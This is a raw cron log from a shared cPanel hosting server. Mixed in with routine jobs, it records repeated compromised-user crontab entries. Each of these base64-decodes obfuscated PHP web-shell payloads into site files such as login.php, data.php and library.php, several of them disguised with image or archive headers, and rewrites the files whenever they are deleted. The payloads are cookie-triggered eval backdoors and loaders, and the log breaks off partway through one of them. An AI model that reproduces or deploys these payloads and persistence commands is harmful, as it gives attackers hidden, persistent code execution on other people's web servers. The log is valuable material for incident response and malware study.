Mar  2 10:17:02 medusa CROND[516]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:17:02 medusa CROND[514]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 10:17:02 medusa CROND[517]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:17:02 medusa CROND[518]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:17:02 medusa CROND[520]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:17:02 medusa CROND[527]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:17:02 medusa CROND[521]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:18:02 medusa CROND[16896]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:18:02 medusa CROND[17019]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:18:02 medusa CROND[17029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:18:02 medusa CROND[17030]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:18:02 medusa CROND[17031]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:18:02 medusa CROND[17028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:18:02 medusa CROND[17034]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:18:02 medusa CROND[17035]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:18:02 medusa CROND[17036]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:18:02 medusa CROND[17038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:18:02 medusa CROND[17040]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:18:02 medusa CROND[17042]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:18:02 medusa CROND[17043]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:18:02 medusa CROND[17041]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 10:19:01 medusa CROND[2045]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:19:01 medusa CROND[2240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:19:01 medusa CROND[2268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:19:01 medusa CROND[2269]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:19:01 medusa CROND[2270]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:19:01 medusa CROND[2271]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:19:01 medusa CROND[2273]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcm